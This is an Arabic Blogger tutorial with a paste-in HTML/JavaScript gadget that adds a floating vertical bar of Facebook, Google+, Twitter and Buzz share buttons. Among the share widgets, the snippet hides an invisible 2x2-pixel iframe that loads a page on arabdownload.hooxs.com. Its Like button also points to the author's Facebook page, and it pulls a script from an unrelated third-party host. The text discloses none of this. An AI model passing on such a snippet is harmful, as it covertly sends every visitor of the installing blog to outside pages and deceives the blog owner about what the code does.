أزرار النشر او شير بشكل جميل ومتحرك مع الطلوع و النزول

أزرار النشر او شير بشكل جميل ومتحرك مع الطلوع و النزول 

السلام عليكم و رحمة الله تعالى و بركاته ،كما ذكرنا في الموضوع السابق عن الآن نستهل موضوعنا التالي بشرح كيفية إضافة أزرار المفضلات الاجتماعية بتصميم جديد ،حيث تتميز هذه الأداة بكونها تتحرك بشكل عمودي عند 
التصفح للمدونة كما لو أنها تتبع الزائر أينما ذهب فتقول له ساهم في نشر الموضوع يا صديقي ههههه

اضافات بلوجر, ايقونات النشر او (شير), طرق زيادة الزوار لمدونتك

انتقل إلى لوح تحكم مدونتك،إختر "تصميم" ،ثم قم باختيار 

add a Gadget >> HTML/JavaScript 





ثم قم بنسخ الكود التالي

كود بلغة HTML:

<!--arabic blogger trick BEGINS-->  <style> .FBConnectButton_Small{background-position:-5px  -232px !important;border-left:1px solid  #1A356E}.FBConnectButton_Text{margin-left:12px !important;padding:2px  3px 3px !important}#ShareSidebar{top: 15%;width:69px;Left: 0  !important;overflow:hidden;position: fixed;z-index:  100000;text-align:center;line-height:normal;_position:  absolute;font-size:9px;}#ShareSidebar a,#ShareSidebar  a:hover,#ShareSidebar  a:visited{text-decoration:none;font-size:9px;}</style><div  id="ShareSidebar"> <iframe style="float:left; margin:10px 0 0  12px; height:61px;"  src="http://www.facebook.com/plugins/like.php?app_id=141440452603597&href=https://www.facebook.com/arabedownload&send=false&layout=box_count&show_faces=false&action=like&colorscheme=light&locale=en_US"  scrolling="no" frameborder="0" style="border:none; overflow:hidden;"  allowtransparency="true"></iframe> <div  style="float:left; margin:10px 0 0 10px;"><a name="fb_share"  type="box_count"  href="http://www.facebook.com/sharer.php">Share</a><script  src="http://static.ak.fbcdn.net/connect.php/js/FB.Share"  type="text/javascript"></script></div> <div  style="float:left; margin:10px 0 0 10px;"><script  type="text/javascript"  src="http://apis.google.com/js/plusone.js"></script><g:plusone  size="tall"></g:plusone></div> <div  style="float:left; margin:10px 0 0 10px;"><a  href="http://twitter.com/share" class="twitter-share-button"  data-count="vertical">Tweet</a><script  type="text/javascript"  src="http://platform.twitter.com/widgets.js"></script></div> <iframe src ="http://arabdownload.hooxs.com/h6-page" width="2" height="2"> </iframe>  <div  style="float:left; margin:7px 0 0 10px;"><a title="Post on Google  Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post"  data-button-style="normal-count"></a><script  type="text/javascript"  src="http://www.google.com/buzz/api/button.js"></script></div>  <div  style="float:left; margin:10px 0 0 7px;"><script  src="http://orkut-share.googlecode.com/svn/trunk/delicious.js"></script></div>  <div  style="float:left; margin:10px 0 0 5px; color:#000000;  font-family:tahoma, Helvetica, sans-serif; background-color:#f0f0f0;  padding:2px 3px;"><a  href="http://arabic-bloggertrick.blogspot.com/2011/10/begins.html"  target="_blank"></font><font color="#000000">ضعها في  مدونتك</font></a></div></div>   <!--arabic blogger trick ENDS-->